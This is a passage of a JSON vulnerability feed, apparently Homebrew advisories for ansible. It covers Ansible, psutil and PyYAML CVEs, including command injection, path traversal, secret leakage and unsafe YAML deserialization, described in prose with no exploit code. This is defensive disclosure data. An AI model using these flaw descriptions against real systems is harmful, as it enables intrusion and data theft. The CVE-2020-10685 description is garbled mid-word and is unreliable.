ixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"FIX","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/63527"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14904","GHSA-gwr8-5j83-483c","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/65686"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-14905","GHSA-frxj-5j27-f8rf","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR/"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"FIX","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"FIX","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-18874","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-qfc5-mcwq-26q8","CVE-2019-18874","PYSEC-2019-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.6.6","resource":"psutil","resource_purl":"pkg:pypi/psutil@7.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"psutil","subject_version":"7.2.2","key":"pkg:pypi/psutil@7.2.2","resource":"psutil"}]},"summary":"Double Free in psutil","details":"psutil (aka python-psutil) through 5.6.5 can have a double free. This occurs because of refcount mishandling within a while or for loop that converts system data into a Python object.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-18874"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/pull/1616"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/commit/7d512c8e4442a896d56505be3e78f1156f443465"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qfc5-mcwq-26q8"},{"type":"PACKAGE","url":"https://github.com/giampaolo/psutil"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/blob/master/HISTORY.rst#566"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/psutil/PYSEC-2019-41.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/11/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2P7QI7MOTZTFXQYU23CP3RAWXCERMOAS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OLETTJYZL2SMBUI4Q2NGBMGPDPP54SRG"},{"type":"WEB","url":"https://usn.ubuntu.com/4204-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-20477","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3pqx-4fqf-j49f","CVE-2019-20477","PYSEC-2020-176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.2","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Deserialization of Untrusted Data in PyYAML","details":"PyYAML 5.1 through 5.1.2 has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module. NOTE: this issue exists because of an incomplete fix for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-20477"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3pqx-4fqf-j49f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-176.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33VBUY73AA6CTTYL3LRWHNFDULV7PFPN"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/52N5XS73Z5S4ZN7I7R56ICCPCTKCUV4H"},{"type":"WEB","url":"https://www.exploit-db.com/download/47655"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-3828","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2019-3828","GHSA-74vq-h4q8-x6jv","PYSEC-2019-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.8"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible fetch module before versions 2.5.15, 2.6.14, 2.7.8 has a path traversal vulnerability which allows copying and overwriting files outside of the specified destination in the local ansible controller host, by not restricting an absolute path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/52133"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-10684","GHSA-p62g-jhg6-v3rq","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.9 and 2.9.6 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-10685","GHSA-77g3-3j5w-64w4","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/68433"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-10691","GHSA-3c67-gc48-983w","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running ansible-galaxy collection install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/68596"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-10729","GHSA-r6h7-5pq2-j77h","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/34144"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-10744","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-10744","GHSA-vp9j-rghq-8jhh","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible: insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-14330","GHSA-785x-qw4v-6872","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/68400"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-14332","GHSA-j667-c2hm-f2wp","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/71033"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14343","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-8q59-q68h-6hv4","CVE-2020-14343","PYSEC-2021-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.4","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14343"},{"type":"WEB","url":"https://github.com/SeldonIO/seldon-core/issues/2252"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/420#issuecomment-663673966"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/a001f2782501ad2d24986959f0239a354675f9dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1860466"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8q59-q68h-6hv4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2021-142.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://pypi.org/project/PyYAML"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.